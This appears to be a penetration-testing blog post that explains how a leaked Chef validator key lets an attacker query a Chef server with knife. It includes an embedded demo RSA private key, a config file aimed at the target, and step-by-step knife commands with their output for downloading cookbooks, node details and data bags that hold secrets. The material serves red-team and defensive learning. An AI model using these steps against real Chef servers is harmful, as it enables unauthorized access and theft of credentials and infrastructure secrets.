I’m in your Chef Server

Before we get to breaking things, let’s do a little background on Chef and why you should care. For pentesters and red teamers, offensively we care about the data and the impact these tools present to the organizations we serve. If you are on the blue team side and looking to defend, hopefully this post will present some information that will help defend against things I and others are doing in organizations.

Crash course in Chef

Chef is a software company. Their flagship product is Chef Infra. It helps manage configuration for, well, your infrastructure. I actually quite like the product and run it on my home network. However, on the enterprise level, it can be a goldmine for information for pentesters and red teamers.

The trouble with Chef, or Salt, or Puppet, is those configuration management environments contain configurations. These can be pretty much anything, including hashes for passwords to servers, DNS zones, and whatever else that enviornment needs to operate. And while each of those products operate differently, they should all be guarded with sensitivity.

A lot of people run Chef with the Chef Manage web interface because it makes it easy to define organizations and permissions with who has access to which things through a web browser. Getting access to that web interface would make things a lot easier to pillage because you can click around with you web browser. Chef Manage can be connected with local authentication or Active Directory/LDAP authentication. But Chef Manage is deprecated, so let’s talk to the API using knife.

There’s a really good write-up of Chef that covers things in greater detail than I have room for here, so go give it a read if you are feeling hungry (hehehehe) for more background on Chef. I’m going to briefly cover Chef definitions because that’s what we are aiming to steal.

CookbooksA cookbook is a collection of data; recipes, attributes, templates, and files.
RecipeA recipe is a set of commands to run. For example, you have a Users cookbook. A recipe will say what users to add to the system and where to add them. The recipe can also reference files, such as a user’s SSH key to add to the system.
Data bagsGenerally a data bag will have things like passwords or tokens for reference in recipes. For example, you might find a user’s hashed password in a data bag to be referenced by a recipe.
AttributesAttributes can come from multiple places, but you’ll probably care about what’s in the cookbook and in the data bags.
KnifeThe command line tool used to communicate with the Chef API. You can of course use other tools, including your own custom tools, but knife is the common tool used.
ValidatorThe validator is a special client that talks to the API to register a node with Chef. This comes with a key that’s used to bootstrap a node to obtain the cookbooks and data bags needed to become a managed node.
NodeAny managed device within Chef. Usually this’ll be a virtual machine or Docker container, but can be other things, including firewalls and switches.

Most everything done in Chef is through these keypairs, including after the node is registered and obtains its own keypair. When a node is adding to chef to be managed, there are two ways to register the node – validator and validator-less bootstrap. The validator method is the most common that I’ve seen, so we’ll start there for this post.

Target Environment

Let’s setup our environment. Assume we have the following environment that we are attacking:

We have a Chef server at chef.example.com and an artifact repo server at artifacts.example.com.

Now, for funsies, let’s say during our engagement, we find our example-validator.pem at https://artifacts.example.com/chef/example-validator.pem.

Attack environment

Now the fun stuff. I created an organization called Example, Inc. Here’s the private key:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAx0UIG7sYjvs6NYn0oprrSBpLujnr1mmy031/iKSXfIYNrV0i
xRglrZg0F7JrYmP25Nd04Qj1l5reGGG9Q9zNeCczghK1kNOWXVrehnCJiHGvaO8B
TLIiWhLX27VsPJRymptILsJgdM/wHxfdpsiP8w+oYJclk5/6c8Z7ssGnAMsv9YnA
XaWrpZOGRVp6yMWjjKmPALMOO1LhuFQaLfmiAHoFmreFM1ItS2F5Y1Tx39kelrZ2
KTS+lCr1o1b+URJYZTu7DsdMBi4UGD7lyJF1u2C6i7dlSJh0o9Aj2iuRa3sgDkHq
vsRj2vR+t2fWcJs8H4CVyNJbagF/A03kJVgTWQIDAQABAoIBAGodpNe/prBdsP3Z
3WDKRwk6l6EwPxsLZqOhbU0C+Xjiml37/wwec9Ih/3uvE+hte4kaA6/i6YY2fpdV
VUjSSMj3d0KJXA8n3icQwPeu7k6u285xmKuTIR/+cN0bm+wW0YDruGDOOjd6lFC6
kNrEa4PwjqYBV41p4CHPTQhAgAK3P8kNdUImFbGux2btLYarTYzxg5iQ9QKRTSrF
0ah+tqJN4dUd66d7w6Z/ckvVm3kHpo9GBmI72mUs4Cgycnh7vJb8ay6d7IVz8m7M
WN4Khd+aaflKxq3OOWRlhrsCK37ANY/QSF0G3B+na77kWD1AQEmWrjnNnBKkagJn
53/aktECgYEA+G53aIKNClndMOZ0LKh7eYCmgEEJ+XWrio7STr0dYGVeezUr+a5S
MwNORHh7H/qMCP46RdbCpGFBG54K/MXJBXvT4fYpMqf5nNStFxRLbmmBb7hnWT7x
bzLz/oKBSQfSJaBa5nUYvcYROlVatZ/g8jyX2YQPTqaIkUX8n71WrqMCgYEAzVcm
Ep0xCvvQNEp5W9vcR9sE9fg5zwCzObuLYtLEuy/62pBEcjehzKtIknYxHUhc1+3G
aMWuPyk0++5VSZ0Fgk6JXm26RdL6hK6VxVsy5h6ch65HZEMB5WkfMkcjvG0UqEY/
zR38zCXSIurWlvWxl6fh9YJhEQulyUcAJ5/igdMCgYEAv1UErf7t9SzkyAaVLtfL
0PYeReTRc8kGhr4chvvrphQsQiPfbHqvYA6Jtv47hZOHSl3SL3uJiORGKqj7uVXy
zkBiHUNi01q/SeQaMw40UiL7xzl0jy2E8KmDdV65h694T/ZCS/+fQHlNR2n5ZKxv
qOC16pZk26Qyxf/q4nQGUJUCgYAcR75kneWdP6UjLoacUiF6e/2o6rD7g3srnlrK
F4Ekzqzb4TasDGFqUMTD9yc4gzjWPFcxItimtkQn1mFErC2QDsT4jmAzMaVzFKBn
9/GApAKm5SfL9TaTo/C5+fZAAz3vFw2+cDza2PKiAHnhfKEi4+pI59X6hQImQHMT
AgAuJQKBgQC65Tru3YGVon4JTmpJjmjMzalpnpbYPawqCol5W+XEBssz878TKhMG
cGDrl1RzsMmMQnO99UBZ2NbtBkBDUPbyUBw4lI9jsmgvjiO0IAdc2zcKRT9fUa3D
EHTjo645Lbu1mWtUhUEskzqbdYeifqdPPQ6vJswt57WUaeWNgoBiww==
-----END RSA PRIVATE KEY-----

Let’s setup our attacking workstation. Save this private key to example-validator.pem. Create a file named config.rb and add the following to it:

log_level        :info
log_location     STDOUT
chef_server_url  "https://chef.example.com/organizations/example"
node_name        "example-validator"
client_key       "./example-validator.pem"

This is it. This is all we need to talk to the Chef server APIs. Except … for knife. But we’ll get that in a minute. As a pentester or red teamer, if you come across even just the validator private key and know where the Chef server is and the org name, you’re in.

Note:

If you are following along at this point, this private key will not work anywhere. So feel free to setup your own Chef server in a VM and play. I’m simply giving this data to demonstrate the actions you’d take in an engagement.

But what if you come across https://artifacts.example.com/chef/client.rb (or config.rb, or knife.rb)? It may look like this instead:

log_level                :info
log_location             STDOUT
chef_server_url          "https://chef.example.lan/organizations/example
validation_client_name   "example-validator"
validation_key           "./example-validator.pem"

This sets up the client to bootstrap the node to Chef and nothing else. However, we want to talk to Chef as a client, so we change the config file to be a client, as your virtual machine would be when properly registered.

Even though I said we’d be using knife, here’s what the validator client looks like in the Chef Manage web interface.

As you can see, the validator is marked as a special client.

Let’s setup our workstation. If you are on Kali or another Linux-based OS, you can do one of two things:

If you want to install chef from the apt or yum repo, you can. You’ll have what you need for this example. But the more I’ve used the Chef Workstation, the more I’ve come to really like it. But assuming Kali (or other Ubuntu-like OS):

sudo apt install chef

And let it install. It’ll install chef, knife, and various dependencies. The workstation will install that, and more, which is particularly useful when developing your own cookbooks. Plus, there’s no guarantee that the yum and apt repos will be current whereas the workstation app prompts you when there’s an update.

So here we are with knife:

$ knife --version
Chef: 12.14.60

Pillaging Chef

Okay, I lied. Kind of. We aren’t quite ready to pillage Chef. Depending on the environment you encounter, this may or may not be an issue:

~/chef$ knife ssl check -c ./config.rb
Connecting to host chef.example.com:443
ERROR: The SSL certificate of chef.example.com could not be verified
Certificate issuer data: /C=US/O=YouCorp/OU=Operations/CN=chef.example.com

Configuration Info:

OpenSSL Configuration:
* Version: OpenSSL 1.1.1  11 Sep 2018
* Certificate file: /usr/lib/ssl/cert.pem
* Certificate directory: /usr/lib/ssl/certs
Chef SSL Configuration:
* ssl_ca_path: nil
* ssl_ca_file: nil
* trusted_certs_dir: "/home/me/chef/trusted_certs"

TO FIX THIS ERROR:

If the server you are connecting to uses a self-signed certificate, you must
configure chef to trust that server's certificate.

By default, the certificate is stored in the following location on the host
where your chef-server runs:

  /var/opt/opscode/nginx/ca/SERVER_HOSTNAME.crt

Copy that file to your trusted_certs_dir (currently: /home/me/chef/trusted_certs)
using SSH/SCP or some other secure method, then re-run this command to confirm
that the server's certificate is now trusted.

If you get this blob of text, the fix is simple:

$ knife ssl fetch -c ./config.rb
WARNING: Certificates from chef.example.com will be fetched and placed in your trusted_cert
directory (/home/me/chef/trusted_certs).

Knife has no means to verify these are the correct certificates. You should
verify the authenticity of these certificates after downloading.

Adding certificate for chef.example.com in /home/me/chef/trusted_certs/chef_example_com.crt

Now we are ready. Let’s look at the cookbooks. As always, don’t just blindly trust a certificate just because I did here. 😛 To list cookbooks on the server, do knife cookbook list -c ./config.rb:

~/chef$ knife cookbook list -c ./config.rb
basic   0.1.0

I uploaded a skeleton cookbook for demonstration purposes, but you’d probably see more than that in a production environment. So with the validator, we can list the cookbooks, but can we download them?

~/chef$ ls
config.rb  example-validator.pem  trusted_certs

There’s a couple of ways to do this, so I’ll demonstrate two ways. The first is with knife download.

~/chef$ knife download
USAGE: knife download PATTERNS
        --chef-repo-path PATH        Overrides the location of chef repo. Default is specified by chef_repo_path in the config
    -s, --server-url URL             Chef Server URL
[...]
    -c, --config CONFIG              The configuration file to use
        --config-option OPTION=VALUE Override a single configuration option
        --cookbook-version VERSION   Version of cookbook to download (if there are multiple versions and cookbook_versions is false)
        --defaults                   Accept default values for all questions
        --[no-]diff                  Turn off to avoid uploading existing files; only new (and possibly deleted) files with --no-diff
[...]
    -V, --verbose                    More verbose output. Use twice for max verbosity
    -v, --version                    Show chef version
    -y, --yes                        Say yes to all prompts for confirmation
    -h, --help                       Show this message
FATAL: You must specify at least one argument. If you want to download everything in this directory, run "knife download ."

Really what this is saying is you can do knife download /cookbooks. So let’s do that.

$ knife download /cookbooks
Created /cookbooks
Created /cookbooks/basic
Created /cookbooks/basic/recipes
Created /cookbooks/basic/chefignore
Created /cookbooks/basic/README.md
Created /cookbooks/basic/LICENSE
Created /cookbooks/basic/metadata.rb
Created /cookbooks/basic/recipes/default.rb
Created /cookbooks/basic/metadata.json

The Chef docs are amazing, so give them a read for more fun stuff. 🙂

From here, we can start digging through the cookbooks that we got:

~/chef$ ls ../cookbooks/
basic

Why is it out of the directory? I added an additional option to my config file:

~/chef$ cat config.rb
# See https://docs.getchef.com/config_rb_knife.html for more information on knife configuration options

current_dir = File.dirname(__FILE__)
log_level                :info
log_location             STDOUT
node_name "example-validator"
client_key               "example-validator.pem"
chef_server_url          "https://chef.example.com/organizations/example"
cookbook_path            ["#{current_dir}/../cookbooks"]

Since I set cookbook_path to be up a directory, the cookbooks were placed there. It’s an easy fix, but if you don’t set this option, it’ll default a Chef directory that knife wants, so I’d recommend setting the cookbook_path. The other way we can do this is with some simple bash-fu, like this:

~/chef$ knife cookbook list -c config.rb | cut -d " " -f1 | for i in `xargs`; do knife cookbook download $i -c config.rb -d ./cookbooks/; done;
Downloading basic cookbook version 0.1.0
Downloading resources
Downloading providers
Downloading recipes
Downloading definitions
Downloading libraries
Downloading attributes
Downloading files
Downloading templates
Downloading root_files
Cookbook downloaded to ./cookbooks/basic-0.1.

Is there a benefit to this way? Not really. It’s two separate API calls, and you have to deal with versions with knife cookbook download instead of knife download /cookbooks. The differences are a little subtle, but there is a benefit to this method: Because you can choose the version of the cookbook here, you can look at older versions for sensitive information. Either way, we have a lot of access now, with just the validator certificate. 🙂

A few more considerations

We can steal a lot more than just the cookbooks and recipes.

To get the nodes:

knife node list -c config.rb

To show the details about each node, like which cookbooks and roles are applied:

knife node show <node name> -c config.rb

If you really want more information about a node, including possible secrets:

knife node show -l <node name> -c config.rb

Information about roles and environments is also extremely useful. Don’t forget data bags either:

knife download /data_bags

It’s a bright world out there

Chef it up, enjoy new foods. Try some new recipes. 😎